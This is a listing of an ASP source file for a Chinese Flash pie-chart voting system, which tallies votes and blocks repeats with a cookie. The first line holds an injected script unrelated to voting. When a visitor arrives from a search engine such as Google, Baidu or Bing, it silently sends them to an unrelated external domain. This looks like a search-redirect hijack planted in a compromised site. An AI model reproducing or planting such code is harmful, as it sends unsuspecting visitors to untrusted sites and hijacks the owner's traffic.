d:\wwwroot\wuchunhua\toupiao\ballot_a.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp" -->
002:
<%
003:
'=====================================================================================
004:
'flash饼图投票系统单用户版多选2.0
005:
'flashballot2.0
006:
'作者:毛虫
007:
'网地:www.flashado.com
008:
'email:mc@flashado.com
009:
'如有BUG请尽快向我提出，这样我会尽快更新
010:
'=====================================================================================
011:
id=request.form("cdid")
012:
If(id<>"") Then
013:
id=Split(id,",")
014:
If(request.Cookies("ballot")="yes") Then
015:
avert="yes"
016:
Response.Write "&avert="& avert
017:
else
018:
For Each myid In id
019:
If(myid<>"") Then
020:
sql="update ballot set hit=hit+1 where id="& intSql(myid)
021:
set rs=conn.execute(sql)
022:
End if
023:
next
024:
Response.Cookies("ballot").Expires=Date+myday
025:
Response.Cookies("ballot")="yes"
026:
avert="no"
027:
End if
028:
Response.Write "&avert="& avert
029:
End if
030:
set rs=nothing
031:
set conn=nothing
032:
%
>
033:
034: